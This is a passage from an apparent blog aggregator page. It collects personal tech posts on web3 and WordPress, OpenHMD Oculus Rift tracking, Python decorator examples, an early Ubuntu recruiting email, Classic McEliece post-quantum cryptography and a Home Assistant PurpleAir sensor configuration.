    Rather than taking pot-shots at the NFT straw man, I think it’s more interesting to look at the idea of ownership in terms of attribution. The more powerful element of this philosophy isn’t about who owns something, it’s who created it. NFTs do something rather novel with attribution, allowing royalty payments to the original artist every time an NFT is resold. I love this aspect: royalties shouldn’t just be for movie stars, they should be for everyone.

    Comparing that to the current web, take the 3 paragraphs written by Max Read that I quoted above. I was certainly under no technical obligation to show that it was a quote, to attribute it to him, or to link to the source. In fact, it would have been easier for me to just paste his words into this post, and pretend they were my own. I didn’t, of course, because I feel an ethical obligation to properly attribute the quote.

    In a world where unethical actors will automatically copy/paste your content for SEO juice (indeed, I expect this blog post to show up on a bunch of these kinds of sites); where massive corporations will consume everything they can find about you, in order to advertise more effectively to you, it’s not at all surprising that people are looking for a technical solution for taking back control of their data, and for being properly attributed for their creations.

    The interesting element of this philosophy isn’t about who owns something, it’s who created it.

    That’s not to say that existing services discourage attribution: a core function of Twitter is retweets, a core function of Tumblr is reblogging. WordPress still supports trackbacks, even if many folks turn them off these days.

    These are all blunt instruments, though, aimed at attributing an entire piece, rather than a more targeted approach. What I’d really like is a way to easily quote and attribute a small chunk of a post: 3 paragraphs (or blocks, if you want to see where I’m heading 😉), inserted into my post, linking back to where I got them from. If someone chooses to quote some of this post, I’d love to receive a pingback just for that quote, so it can be seen in the right context.

    The functionality provide by Twitter and Tumblr is less of a technologically-based enforcement of attribution, and more of an example of paving the cow path: by and large, people want to properly attribute others, providing the tools to do so can easily become a fundamental part of how any software is used.

    These tools only work so long as there’s an incentive to use them, however. web3 certainly provides the tools to attribute others, but much like SEO scammers copy/pasting blog posts, the economics of the NFT bubble is clearly a huge incentive to ignore those tools and ethical obligations, to the point that existing services have had to build additional features just to detect this abuse.

    Monetisation

    With every major blockchain also being a cryptocurrency, monetisation is at the heart of the entire web3 movement. Every level of the web3 tech stack involves a cryptocurrency-based protocol. This naturally permeates through the entire web3 ecosystem, where money becomes a major driving factor for every web3-based project.

    And so, it’s impossible to look at web3 applications without also considering the financial aspect. When you have to pay just to participate, you have to ask whether every piece of content you create is “worth it”.

    Again, let’s go back to the 3 paragraphs I quote above. In a theoretical web3 world, I’d publish this post on a blockchain in some form or another, and that act would also likely include noting that I’d quoted 3 blocks of text attributed to Max Read. I’d potentially pay some amount of money to Max, along with the fees that every blockchain charges in order to perform a transaction. While this process is potentially helpful to the original author at a first glance, I suspect the second and third order effects will be problematic. Having only just clicked the Publish button a few seconds earlier, I’m already some indeterminate amount of money out of pocket. Which brings me back to the question, is this post “worth it”? Will enough people tip/quote/remix/whatever me, to cover the cost of publishing? When every creative work must be viewed through a lens of financial impact, it fundamentally alters that creative process.

    When you have to pay just to participate, you have to ask whether every piece of content you create is “worth it”.

    Ultimately, we live in a capitalist society, and everyone deserves the opportunity to profit off their work. But by baking monetisation into the underlying infrastructure of web3, it becomes impossible to opt-out. You either have the money to participate without being concerned about the cost, or you’re going to need to weigh up every interaction by whether or not you can afford it.

    Web3 Philosophies in WordPress

    After breaking it all down, we can see that it’s not all black-and-white. There are some positive parts of web3, and some negative parts. Not that different to the web of today, in fact. 🙂 That’s not to say that either approach is the correct one: instead, we should be looking to learn from both, and produce something better.

    Decentralised

    I’ve long been a proponent of leveraging the massive install base of WordPress to provide distributed services to anyone. Years ago, I spoke about an idea called “Connected WordPress” that would do exactly that. While the idea didn’t gain a huge amount of traction at the time, the DNA of the Connected WordPress concept shares a lot of similar traits to the decentralised nature of web3.

    I’m a big fan of decentralised technologies as a way for individuals to claw back power over their own data from the governments and massive corporations that would prefer to keep it all centralised, and I absolutely think we should be exploring ways to make the existing web more resistant to censorship.

    At the same time, we have to acknowledge that there are certainly benefits to centralisation. As long as people have the freedom to choose how and where they participate, and centralised services are required to play nicely with self hosted sites, is there a practical difference?

    I quite like how Solid allows you have it both ways, whilst maintaining control over your own data.

    Ownership Attribution

    Here’s the thing about attribution: you can’t enforce it with technology alone. Snapchat have indirectly demonstrated exactly this problem: in order to not lose a message, people would screenshot or record the message on their phone. In response, Snapchat implemented a feature to notify the other party when you screenshot a message from them. To avoid this, people will now use a second phone to take a photo or video of the message. While this example isn’t specifically about attribution, it demonstrates the problem that there’s no way to technologically restrict how someone interacts with content that you’ve published, once they’ve been granted access.

    Instead of worrying about technical restrictions, then, we should be looking at how attribution can be made easier.

    IndieWeb is a great example of how this can be done in a totally decentralised fashion.

    Monetisation

    I’m firmly of the opinion that monetisation of the things you create should be opt-in, rather than opt-out.

    Modern society is currently obsessed with monetising everything, however. It comes in many different forms: hustle culture, side gigs, transforming hobbies into businesses, meme stocks, and cryptocurrencies: they’re all symptoms of this obsession.

    I would argue that, rather than accepting as fait accompli that the next iteration of the web will be monetised to the core, we should be pushing back against this approach. Fundamentally, we should be looking to build for a post scarcity society, rather than trying to introduce scarcity where there previously was none.

    While we work towards that future, we should certainly be easier for folks to monetise their work, but the current raft of cryptocurrencies just aren’t up to the task of operating as… currencies.

    What Should You Do?

    Well, that depends on what your priorities are. The conversations around web3 are taking up a lot of air right now, so it’s possible to get the impression web3 will be imminently replacing everything. It’s important to keep perspective on this, though. While there’s a lot of money in the web3 ecosystem right now, it’s dwarfed by the sheer size of the existing web.

    If you’re excited about the hot new tech, and feeling inspired by the ideas espoused in web3 circles? Jump right in! I’m certain you’ll find something interesting to work on.

    Always wanted to get into currency speculation, but didn’t want to deal with all those pesky “regulations” and “safeguards”? Boy howdy, are cryptocurrencies or NFTs the place for you. (Please don’t pretend that this paragraph is investment advice, it is nothing of the sort.)

    Want to continue building stuff on the web, and you’re willing to learn new things when you need them, but are otherwise happy with your trajectory? Just keep on doing what you’re doing. Even if web3 does manage to live up to the hype, it’ll take a long time for it to be adopted by the mainstream. You’ll have years to adapt.

    Final Thoughts

    There are some big promises associated with web3, many of which sound very similar to the promises that were made around web 2.0, particularly around open APIs, and global interoperability. We saw what happened when those kinds of tools go wrong, and web3 doesn’t really solve those problems. It may exacerbate them in some ways, since it’s impossible to delete your data from a blockchain.

    That said, (and I say this as a WordPress Core developer), just because a particular piece of software is not the optimal technical solution doesn’t mean it won’t become the most popular. Market forces can be a far stronger factor that technical superiority. There are many legitimate complaints about blockchain (including performance, bloat, fit for purpose, and security) that have been levelled against WordPress in the past, but WordPress certainly isn’t slowing down. I’m not even close to convinced that blockchain is the right technology to base the web on, but I’ve been doing this for too long to bet everything against it.

    Markets can remain irrational a lot longer than you and I can remain solvent.

    —A. Gary Shilling

    As for me, well… 😄

    I remain sceptical of web3 as it’s currently defined, but I think there’s room to change it, and to adopt the best bits into the existing web. Web 1.0 didn’t magically disappear when Web 2.0 rolled in, it adapted. Maybe we’ll look back in 10 years and say this was a time when the web fundamentally changed. Or, maybe we’ll refer to blockchain in the same breath as pets.com, and other examples from the dotcom boom of the 1990’s.

    The Net interprets censorship as damage and routes around it.

    —John Gilmore

    This quote was originally referring to Usenet, but it’s stayed highly relevant in the decades since. I think it applies here, too: if the artificial scarcity built into web3 behaves too much like censorship, preventing people from sharing what they want to share, the internet (or, more accurately, the billions of people who interact with the internet) will just… go around it. It won’t all be smooth sailing, but we’ll continue to experiment, evolve, and adapt as it changes.

    Personally, I think now is a great time for us to be embracing the values and ideals of projects like Solid, and IndieWeb. Before web3 referred to blockchains, it was more commonly used in reference to the Semantic Web, which is far more in line with WordPress’ ideals, whilst also matching many of the values prioritised by the new web3. As a major driver of the Open Web, WordPress can help people own their content in a sustainable way, engage with others on their own terms, and build communities that don’t depend on massive corporations or hand-wavy magical tech solutions.

    Don’t get too caught up in the drama of whatever is the flavour of the month. I’m optimistic about the long term resilience of the internet, and I think you should be, too. 🥳

    Monday, 25 October 2021

    Jan Schmidt2.5 years of Oculus Rift

    Once again time has passed, and another update on Oculus Rift support feels due! As always, it feels like I’ve been busy with work and not found enough time for Rift CV1 hacking. Nevertheless, looking back over the history since I last wrote, there’s quite a lot to tell!

    In general, the controller tracking is now really good most of the time. Like, wildly-swing-your-arms-and-not-lose-track levels (most of the time). The problems I’m hunting now are intermittent and hard to identify in the moment while using the headset – hence my enthusiasm over the last updates for implementing stream recording and a simulation setup. I’ll get back to that.

    Outlier Detection

    Since I last wrote, the tracking improvements have mostly come from identifying and rejecting incorrect measurements. That is, if I have 2 sensors active and 1 sensor says the left controller is in one place, but the 2nd sensor says it’s somewhere else, we’ll reject one of those – choosing the pose that best matches what we already know about the controller. The last known position, the gravity direction the IMU is detecting, and the last known orientation. The tracker will now also reject observations for a time if (for example) the reported orientation is outside the range we expect. The IMU gyroscope can track the orientation of a device for quite a while, so can be relied on to identify strong pose priors once we’ve integrated a few camera observations to get the yaw correct.

    It works really well, but I think improving this area is still where most future refinements will come. That and avoiding incorrect pose extractions in the first place.

    Plot of headset tracking – orientation and position

    The above plot is a sample of headset tracking, showing the extracted poses from the computer vision vs the pose priors / tracking from the Kalman filter. As you can see, there are excursions in both position and orientation detected from the video, but these are largely ignored by the filter, producing a steadier result.

    Left Touch controller tracking – orientation and position

    This plot shows the left controller being tracked during a Beat Saber session. The controller tracking plot is quite different, because controllers move a lot more than the headset, and have fewer LEDs to track against. There are larger gaps here in the timeline while the vision re-acquires the device – and in those gaps you can see the Kalman filter interpolating using IMU input only (sometimes well, sometimes less so).

    Improved Pose Priors

    Another nice thing I did is changes in the way the search for a tracked device is made in a video frame. Before starting looking for a particular device it always now gets the latest estimate of the previous device position from the fusion filter. Previously, it would use the estimate of the device pose as it was when the camera exposure happened – but between then and the moment we start analysis more IMU observations and other camera observations might arrive and be integrated into the filter, which will have updated the estimate of where the device was in the frame.

    This is the bit where I think the Kalman filter is particularly clever: Estimates of the device position at an earlier or later exposure can improve and refine the filter’s estimate of where the device was when the camera captured the frame we’re currently analysing! So clever. That mechanism (lagged state tracking) is what allows the filter to integrate past tracking observations once the analysis is done – so even if the video frame search take 150ms (for example), it will correct the filter’s estimate of where the device was 150ms in the past, which ripples through and corrects the estimate of where the device is now.

    LED visibility model

    To improve the identification of devices better, I measured the actual angle from which LEDs are visible (about 75 degrees off axis) and measured the size. The pose matching now has a better idea of which LEDs should be visible for a proposed orientation and what pixel size we expect them to have at a particular distance.

    Better Smoothing

    I fixed a bug in the output pose smoothing filter where it would glitch as you turned completely around and crossed the point where the angle jumps from +pi to -pi or vice versa.

    Improved Display Distortion Correction

    I got a wide-angle hi-res webcam and took photos of a checkerboard pattern through the lens of my headset, then used OpenCV and panotools to calculate new distortion and chromatic aberration parameters for the display. For me, this has greatly improved. I’m waiting to hear if that’s true for everyone, or if I’ve just fixed it for my headset.

    Persistent Config Cache

    Config blocks! A long time ago, I prototyped code to create a persistent OpenHMD configuration file store in ~/.config/openhmd. The rift-kalman-filter branch now uses that to store the configuration blocks that it reads from the controllers. The first time a controller is seen, it will load the JSON calibration block as before, but it will now store it in that directory – removing a multiple second radio read process on every subsequent startup.

    Persistent Room Configuration

    To go along with that, I have an experimental rift-room-config branch that creates a rift-room-config.json file and stores the camera positions after the first startup. I haven’t pushed that to the rift-kalman-filter branch yet, because I’m a bit worried it’ll cause surprising problems for people. If the initial estimate of the headset pose is wrong, the code will back-project the wrong positions for the cameras, which will get written to the file and cause every subsequent run of OpenHMD to generate bad tracking until the file is removed. The goal is to have a loop that monitors whether the camera positions seem stable based on the tracking reports, and to use averaging and resetting to correct them if not – or at least to warn the user that they should re-run some (non-existent) setup utility.

    Video Capture + Processing

    The final big ticket item was a rewrite of how the USB video frame capture thread collects pixels and passes them to the analysis threads. This now does less work in the USB thread, so misses fewer frames, and also I made it so that every frame is now searched for LEDs and blob identities tracked with motion vectors, even when no further analysis will be done on that frame. That means that when we’re running late, it better preserves LED blob identities until the analysis threads can catch up – increasing the chances of having known LEDs to directly find device positions and avoid searching. This rewrite also opened up a path to easily support JPEG decode – which is needed to support Rift Sensors connected on USB 2.0 ports.

    Session Simulator

    I mentioned the recording simulator continues to progress. Since the tracking problems are now getting really tricky to figure out, this tool is becoming increasingly important. So far, I have code in OpenHMD to record all video and tracking data to a .mkv file. Then, there’s a simulator tool that loads those recordings. Currently it is capable of extracting the data back out of the recording, parsing the JSON and decoding the video, and presenting it to a partially implemented simulator that then runs the same blob analysis and tracking OpenHMD does. The end goal is a Godot based visualiser for this simulation, and to be able to step back and forth through time examining what happened at critical moments so I can improve the tracking for those situations.

    To make recordings, there’s the rift-debug-gstreamer-record branch of OpenHMD. If you have GStreamer and the right plugins (gst-plugins-good) installed, and you set env vars like this, each run of OpenHMD will generate a recording in the target directory (make sure the target dir exists):

    export OHMD_TRACE_DIR=/home/user/openhmd-traces/
    export OHMD_FULL_RECORDING=1

    Up Next

    The next things that are calling to me are to improve the room configuration estimation and storage as mentioned above – to detect when the poses a camera is reporting don’t make sense because it’s been bumped or moved.

    I’d also like to add back in tracking of the LEDS on the back of the headset headband, to support 360 tracking. I disabled those because they cause me trouble – the headband is adjustable relative to the headset, so the LEDs don’t appear where the 3D model says they should be and that causes jitter and pose mismatches. They need special handling.

    One last thing I’m finding exciting is a new person taking an interest in Rift S and starting to look at inside-out tracking for that. That’s just happened in the last few days, so not much to report yet – but I’ll be happy to have someone looking at that while I’m still busy over here in CV1 land!

    As always, if you have any questions, comments or testing feedback – hit me up at thaytan@noraisin.net or on @thaytan Twitter/IRC.

    Thank you to the kind people signed up as Github Sponsors for this project!

    Saturday, 18 September 2021

    Glen TurnerThe tyranny of product names

    For a long time computer manufacturers have tried to differentiate themselves and their products from their competitors with fancy names with odd capitalisation and spelling. But as an author, using these names does a disservice to the reader: how are they to know that DEC is pronounced as if it was written Dec ("deck").

    It's time we pushed back, and wrote for our readers, not for corporations.

    It's time to use standard English rules for these Corporate Fancy Names. Proper names begin with a capital, unlike "ciscoSystems®" (so bad that Cisco itself moved away from it). Words are separated by spaces, so "Cisco Systems". Abbreviations and acronyms are written in lower case if they are pronounced as a word, in upper case if each letter is pronounced: so "ram" and "IBM®".

    So from here on in I'll be using the following:

    • Face Book. Formerly, "Facebook®".
    • Junos. Formerly JUNOS®.
    • ram. Formerly RAM.
    • Pan OS. Formerly PAN-OS®.
    • Unix. Formerly UNIX®.

    I'd encourage you to try this in your own writing. It does look odd for the first time, but the result is undeniably more readable. If we are not writing to be understood by our audience then we are nothing more than an unpaid member of some corporation's marketing team.



    comment count unavailable comments

    Saturday, 11 September 2021

    Dave HallYour Terraform Module Needs an Opinion

    Learn why your Terraform modules should be opinionated.

    Friday, 10 September 2021

    Chris NeugebauerTalk Notes: On The Use and Misuse of Decorators

    I gave the talk On The Use and Misuse of Decorators as part of PyConline AU 2021, the second in annoyingly long sequence of not-in-person PyCon AU events. Here’s some code samples that you might be interested in:

    Simple @property implementation

    This shows a demo of @property-style getters. Setters are left as an exercise :)

    
    def demo_property(f):
        f.is_a_property = True
        return f
    
    
    class HasProperties:
    
        def __getattribute__(self, name):
            ret = super().__getattribute__(name)
            if hasattr(ret, "is_a_property"):
                return ret()
            else:
                return ret
    
    class Demo(HasProperties):
    
        @demo_property
        def is_a_property(self):
            return "I'm a property"
    
        def is_a_function(self):
            return "I'm a function"
    
    
    a = Demo()
    print(a.is_a_function())
    print(a.is_a_property)
    

    @run (The Scoped Block)

    @run is a decorator that will run the body of the decorated function, and then store the result of that function in place of the function’s name. It makes it easier to assign the results of complex statements to a variable, and get the advantages of functions having less leaky scopes than if or loop blocks.

    def run(f):
        return f()
    
    @run
    def hello_world():
        return "Hello, World!"
    
    print(hello_world)
    

    @apply (Multi-line stream transformers)

    def apply(transformer, iterable_):
    
        def _applicator(f):
    
            return(transformer(f, iterable_))
    
        return _applicator
    
    @apply(map, range(100)
    def fizzbuzzed(i):
        if i % 3 == 0 and i % 5 == 0:
            return "fizzbuzz"
        if i % 3 == 0:
            return "fizz"
        elif i % 5 == 0:
            return "buzz"
        else:
            return str(i)
    
    

    Builders

    
    def html(f):
        builder = HtmlNodeBuilder("html")
        f(builder)
        return builder.build()
    
    
    class HtmlNodeBuilder:
        def __init__(self, tag_name):
           self.tag_name = tag_name
           self.nodes = []
    
       def node(self, f):
            builder = HtmlNodeBuilder(f.__name__)
            f(builder)
            self.nodes.append(builder.build())
    
        def text(self, text):
            self.nodes.append(text)
    
        def build(self):
          nodes = "\n".join(self.nodes)
           return f"<{self.tag_name}>\n{nodes}\n</{self.tag_name}>"
    
    
    @html
    def document(b):
       @b.node
       def head(b):
           @b.node
           def title(b):
               b.text("Hello, World!")
    
       @b.node
       def body(b):
           for i in range(10, 0, -1):
               @b.node
               def p(b):
                   b.text(f"{i}")
    
    

    Code Registries

    This is an incomplete implementation of a code registry for handling simple text processing tasks:

    ```python

    def register(self, input, output):

    def _register_code(f):
        self.registry[(input, output)] = f
        return f
    
    return _register_code
    

    in_type = (iterable[str], (WILDCARD, ) out_type = (Counter, (WILDCARD, frequency))

    @registry.register(in_type, out_type) def count_strings(strings):

    return Counter(strings)
    

    @registry.register( (iterable[str], (WILDCARD, )), (iterable[str], (WILDCARD, lowercase)) ) def words_to_lowercase(words): …

    @registry.register( (iterable[str], (WILDCARD, )), (iterable[str], (WILDCARD, no_punctuation)) ) def words_without_punctuation(words): …

    def find_steps( self, input_type, input_attrs, output_type, output_attrs ):

    hand_wave()
    

    def give_me(self, input, output_type, output_attrs):

    steps = self.find_steps(
        type(input), (), output_type, output_attrs
    )
    
    temp = input
    for step in steps:
        temp = step(temp)
    
    return temp
    

    Thursday, 12 August 2021

    Jan SchmidtOpenHMD update

    A while ago, I wrote a post about how to build and test my Oculus CV1 tracking code in SteamVR using the SteamVR-OpenHMD driver. I have updated those instructions and moved them to https://noraisin.net/diary/?page_id=1048 – so use those if you’d like to try things out.

    The pandemic continues to sap my time for OpenHMD improvements. Since my last post, I have been working on various refinements. The biggest visible improvements are:

    • Adding velocity and acceleration API to OpenHMD.
    • Rewriting the pose transformation code that maps from the IMU-centric tracking space to the device pose needed by SteamVR / apps.

    Adding velocity and acceleration reporting is needed in VR apps that support throwing things. It means that throwing objects and using gravity-grab to fetch objects works in Half-Life: Alyx, making it playable now.

    The rewrite to the pose transformation code fixed problems where the rotation of controller models in VR didn’t match the rotation applied in the real world. Controllers would appear attached to the wrong part of the hand, and rotate around the wrong axis. Movements feel more natural now.

    Ongoing work – record and replay

    My focus going forward is on fixing glitches that are caused by tracking losses or outliers. Those problems happen when the computer vision code either fails to match what the cameras see to the device LED models, or when it matches incorrectly.

    Tracking failure leads to the headset view or controllers ‘flying away’ suddenly. Incorrect matching leads to controllers jumping and jittering to the wrong pose, or swapping hands. Either condition is very annoying.

    Unfortunately, as the tracking has improved the remaining problems get harder to understand and there is less low-hanging fruit for improvement. Further, when the computer vision runs at 52Hz, it’s impossible to diagnose the reasons for a glitch in real time.

    I’ve built a branch of OpenHMD that uses GStreamer to record the CV1 camera video, plus IMU and tracking logs into a video file.

    To go with those recordings, I’ve been working on a replay and simulation tool, that uses the Godot game engine to visualise the tracking session. The goal is to show, frame-by-frame, where OpenHMD thought the cameras, headset and controllers were at each point in the session, and to be able to step back and forth through the recording.

    Right now, I’m working on the simulation portion of the replay, that will use the tracking logs to recreate all the poses.

    Ian BrownNGINX Ingress Controller in GKE

    GKE in Production - Part 2 This tutorial is part of a series I am creating on creating, running and managing Kubernetes on GCP the way I do in my day job. In this episode, we are covering how to setup a nginx ingress controller to handle incoming requests. Note: There may be some things I have skimmed over, if so or you see a glaring hole in my configuration, please drop me a line via the contact page linked at the top of the site.

    Monday, 21 June 2021

    Robert CollinsA moment of history

    I’ve been asked more than once what it was like at the beginning of Ubuntu, before it was a company, when an email from someone I’d never heard of came into my mailbox.

    We’re coming up on 20 years now since Ubuntu was founded, and I had cause to do some spelunking into IMAP archives recently… while there I took the opportunity to grab the very first email I received.

    The Ubuntu long shot succeeded wildly. Of course, we liked to joke about how spammy those emails where: cold-calling a raft of Debian developers with job offers, some of them were closer to phishing attacks :). This very early one – I was the second employee (though I started at 4 days a week to transition my clients gradually) – was less so.

    I think its interesting though to note how explicit a gamble this was framed as: a time limited experiment, funded for a year. As the company scaled this very rapidly became a hiring problem and the horizon had to be pushed out to 2 years to get folk to join.

    And of course, while we started with arch in earnest, we rapidly hit significant usability problems, some of which were solvable with porcelain and shallow non-architectural changes, and we built initially patches, and then the bazaar VCS project to tackle those. But others were not: for instance, I recall exceeding the 32K hard link limit on ext3 due to a single long history during a VCS conversion. The sum of these challenges led us to create the bzr project, a ground up rethink of our version control needs, architecture, implementation and user-experience. While ultimately git has conquered all, bzr had – still has in fact – extremely loyal advocates, due to its laser sharp focus on usability.

    Anyhow, here it is: one of the original no-name-here-yet, aka Ubuntu, introductory emails (with permission from Mark, of course). When I clicked through to the website Mark provided there was a link there to a fantastical website about a space tourist… not what I had expected to be reading in Adelaide during LCA 2004.


    From: Mark Shuttleworth <xxx@xxx>
    To: Robert Collins <xxx@xxx>
    Date: Thu, 15 Jan 2004, 04:30

    Tom Lord gave me your email address, I believe he’s
    already sent you the email that I sent him so I’m sure
    you have some background.

    In short, I am going to fund some open source
    development for a year. This is part of a new project
    that I will be getting off the ground in the coming
    weeks. I don’t know where it will lead, it’s flying in
    the face of a stiff breeze but I think at the end of
    the day it will at least fund a few very good open
    source developers for a full year to work on the
    projects they like most.

    One of the pieces of the puzzle is high end source
    code management. I’ll be looking to build an
    infrastructure that will manage source code for
    between 100 and 8000 open source projects (yes,
    there’s a big difference between the two, I don’t know
    at which end of the spectrum we will be at the end of
    the year but our infrastructure will have to at least
    be capable of scaling to the latter within two years)
    with upwards of 2000 developers, drawing code from a
    variety of sources, playing with it and spitting it
    out regularly in nice packages.

    Arch and Subversion seem to be the two leading
    contenders for “next generation open source sccm”. I’d
    be interested in your thoughts on the two of them, and
    how they stack up. I’m looking to hire one person who
    will lead that part of the effort. They’ll work alone
    from home, and be responsible for two things. First,
    extending the tool (arch or svn) in ways that help the
    project. Such extensions will be released under an
    open source licence, and hopefully embraced by the
    tools maintainers and included in the mainline code
    for the tool. And second, they will be responsible for
    our large-scale implementation of SCCM, using that
    tool, and building the management scripts and other
    infrastructure to support such a large, and hopefully
    highly automated, set of repositories.

    Would you be interested in this position? What
    attributes and experience do you think would make you
    a great person to have on the team? What would your
    salary expectation be, as a monthly figure, for a one
    year contract full time?

    I’m currently on your continent, well, just off it. On
    Lizard Island, up North. Am headed today for Brisbane,
    then on the 17th to Launceston via Melbourne. If you
    happen to be on any of those stops, would you be
    interested in meeting up to discuss it further?

    If you’re curious you can find out a bit more about me
    at www.markshuttleworth.com. This project is much
    lower key than some of what you’ll find there. It’s a
    very long shot indeed. But if at worst all that
    happens is a bunch of open source work gets funded at
    my expense I’ll feel it was money well spent.

    Cheers,
    Mark

    =====

    “Good judgement comes from experience, and often experience
    comes from bad judgement” – Rita Mae Brown


    Saturday, 12 June 2021

    Arjen LentzClassic McEleice and the NIST search for post-quantum crypto

    I have always liked cryptography, and public-key cryptography in particularly. When Pretty Good Privacy (PGP) first came out in 1991, I not only started using it, also but looking at the documentation and the code to see how it worked. I created my own implementation in C using very small keys, just to better understand.

    Cryptography has been running a race against both faster and cheaper computing power. And these days, with banking and most other aspects of our lives entirely relying on secure communications, it’s a very juicy target for bad actors.

    About 5 years ago, the National (USA) Institute for Science and Technology (NIST) initiated a search for cryptographic algorithmic that should withstand a near-future world where quantum computers with a significant number of qubits are a reality. There have been a number of rounds, which mid 2020 saw round 3 and the finalists.

    This submission caught my eye some time ago: Classic McEliece, and out of the four finalists it’s the only one that is not lattice-based [wikipedia link].

    For Public Key Encryption and Key Exchange Mechanism, Prof Bill Buchanan thinks that the winner will be lattice-based, but I am not convinced.

    Robert McEleice at his retirement in 2007

    Tiny side-track, you may wonder where does the McEleice name come from? From mathematician Robert McEleice (1942-2019). McEleice developed his cryptosystem in 1978. So it’s not just named after him, he designed it. For various reasons that have nothing to do with the mathematical solidity of the ideas, it didn’t get used at the time. He’s done plenty cool other things, too. From his Caltech obituary:

    He made fundamental contributions to the theory and design of channel codes for communication systems—including the interplanetary telecommunication systems that were used by the Voyager, Galileo, Mars Pathfinder, Cassini, and Mars Exploration Rover missions.

    Back to lattices, there are both unknowns (aspects that have not been studied in exhaustive depth) and recent mathematical attacks, both of which create uncertainty – in the crypto sphere as well as for business and politics. Given how long it takes for crypto schemes to get widely adopted, the latter two are somewhat relevant, particularly since cyber security is a hot topic.

    Lattices are definitely interesting, but given what we know so far, it is my feeling that systems based on lattices are more likely to be proven breakable than Classic McEleice, which come to this finalists’ table with 40+ years track record of in-depth analysis. Mind that all finalists are of course solid at this stage – but NIST’s thoughts on expected developments and breakthroughs is what is likely to decide the winner. NIST are not looking for shiny, they are looking for very very solid in all possible ways.

    Prof Buchanan recently published implementations for the finalists, and did some benchmarks where we can directly compare them against each other.

    We can see that Classic McEleice’s key generation is CPU intensive, but is that really a problem? The large size of its public key may be more of a factor (disadvantage), however the small ciphertext I think more than offsets that disadvantage.

    As we’re nearing the end of the NIST process, in my opinion, fast encryption/decryption and small cyphertext, combined with the long track record of in-depth analysis, may still see Classic McEleice come out the winner.

    The post Classic McEleice and the NIST search for post-quantum crypto first appeared on Lentz family blog.

    Friday, 4 June 2021

    Ian BrownKubenetes Basic Setup

    GKE in Production - Part 1 This tutorial is part of a series I am creating on creating, running and managing Kubernetes on GCP the way I do in my day job. Note: There may be some things I have skimmed over, if so or you see a glaring hole in my configuration, please drop me a line via the contact page linked at the top of the site. What we will build In this first tutorial, we will be building a standard GKE cluster on Google Cloud Platform and deploying the hello world container to confirm everything is working.

    Monday, 31 May 2021

    Dave HallA Rube Goldberg Machine for Container Workflows

    Learn how can you securely copy container images from GHCR to ECR.

    Friday, 28 May 2021

    Chris NeugebauerAdding a PurpleAir monitor to Home Assistant

    Living in California, I’ve (sadly) grown accustomed to needing to keep track of our local air quality index (AQI) ratings, particularly as we live close to places where large wildfires happen every other year.

    Last year, Josh and I bought a PurpleAir outdoor air quality meter, which has been great. We contribute our data to a collection of very local air quality meters, which is important, since the hilly nature of the North Bay means that the nearest government air quality ratings can be significantly different to what we experience here in Petaluma.

    I recently went looking to pull my PurpleAir sensor data into my Home Assistant setup. Unfortunately, the PurpleAir API does not return the AQI metric for air quality, only the raw PM2.5/PM5/PM10 numbers. After some searching, I found a nice template sensor solution on the Home Assistant forums, which I’ve modernised by adding the AQI as a sub-sensor, and adding unique ID fields to each useful sensor, so that you can assign them to a location.

    You’ll end up with sensors for raw PM2.5, the PM2.5 AQI value, the US EPA air quality category, air pressure, relative humidity and air pressure.

    How to use this

    First up, visit the PurpleAir Map, find the sensor you care about, click “get this widget�, and then “JSON�. That will give you the URL to set as the resource key in purpleair.yaml.

    Adding the configuration

    In HomeAssistant, add the following line to your configuration.yaml:

    sensor: !include purpleair.yaml
    

    and then add the following contents to purpleair.yaml

    
     - platform: rest
       name: 'PurpleAir'
    
       # Substitute in the URL of the sensor you care about.  To find the URL, go
       # to purpleair.com/map, find your sensor, click on it, click on "Get This
       # Widget" then click on "JSON".
       resource: https://www.purpleair.com/json?key={KEY_GOES_HERE}&show={SENSOR_ID}
    
       # Only query once a minute to avoid rate limits:
       scan_interval: 60
    
       # Set this sensor to be the AQI value.
       #
       # Code translated from JavaScript found at:
       # https://docs.google.com/document/d/15ijz94dXJ-YAZLi9iZ_RaBwrZ4KtYeCy08goGBwnbCU/edit#
       value_template: >
         {{ value_json["results"][0]["Label"] }}
       unit_of_measurement: ""
       # The value of the sensor can't be longer than 255 characters, but the
       # attributes can.  Store away all the data for use by the templates below.
       json_attributes:
         - results
    
     - platform: template
       sensors:
         purpleair_aqi:
           unique_id: 'purpleair_SENSORID_aqi_pm25'
           friendly_name: 'PurpleAir PM2.5 AQI'
           value_template: >
             {% macro calcAQI(Cp, Ih, Il, BPh, BPl) -%}
               {{ (((Ih - Il)/(BPh - BPl)) * (Cp - BPl) + Il)|round|float }}
             {%- endmacro %}
             {% if (states('sensor.purpleair_pm25')|float) > 1000 %}
               invalid
             {% elif (states('sensor.purpleair_pm25')|float) > 350.5 %}
               {{ calcAQI((states('sensor.purpleair_pm25')|float), 500.0, 401.0, 500.0, 350.5) }}
             {% elif (states('sensor.purpleair_pm25')|float) > 250.5 %}
               {{ calcAQI((states('sensor.purpleair_pm25')|float), 400.0, 301.0, 350.4, 250.5) }}
             {% elif (states('sensor.purpleair_pm25')|float) > 150.5 %}
               {{ calcAQI((states('sensor.purpleair_pm25')|float), 300.0, 201.0, 250.4, 150.5) }}
             {% elif (states('sensor.purpleair_pm25')|float) > 55.5 %}
               {{ calcAQI((states('sensor.purpleair_pm25')|float), 200.0, 151.0, 150.4, 55.5) }}
             {% elif (states('sensor.purpleair_pm25')|float) > 35.5 %}
               {{ calcAQI((states('sensor.purpleair_pm25')|float), 150.0, 101.0, 55.4, 35.5) }}
             {% elif (states('sensor.purpleair_pm25')|float) > 12.1 %}
               {{ calcAQI((states('sensor.purpleair_pm25')|float), 100.0, 51.0, 35.4, 12.1) }}
             {% elif (states('sensor.purpleair_pm25')|float) >= 0.0 %}
               {{ calcAQI((states('sensor.purpleair_pm25')|float), 50.0, 0.0, 12.0, 0.0) }}
             {% else %}
               invalid
             {% endif %}
           unit_of_measurement: "bit"
         purpleair_description:
           unique_id: 'purpleair_SENSORID_description'
           friendly_name: 'PurpleAir AQI Description'
           value_template: >
             {% if (states('sensor.purpleair_aqi')|float) >= 401.0 %}
               Hazardous
             {% elif (states('sensor.purpleair_aqi')|float) >= 301.0 %}
               Hazardous
             {% elif (states('sensor.purpleair_aqi')|float) >= 201.0 %}
               Very Unhealthy
             {% elif (states('sensor.purpleair_aqi')|float) >= 151.0 %}
               Unhealthy
             {% elif (states('sensor.purpleair_aqi')|float) >= 101.0 %}
               Unhealthy for Sensitive Groups
             {% elif (states('sensor.purpleair_aqi')|float) >= 51.0 %}
               Moderate
             {% elif (states('sensor.purpleair_aqi')|float) >= 0.0 %}
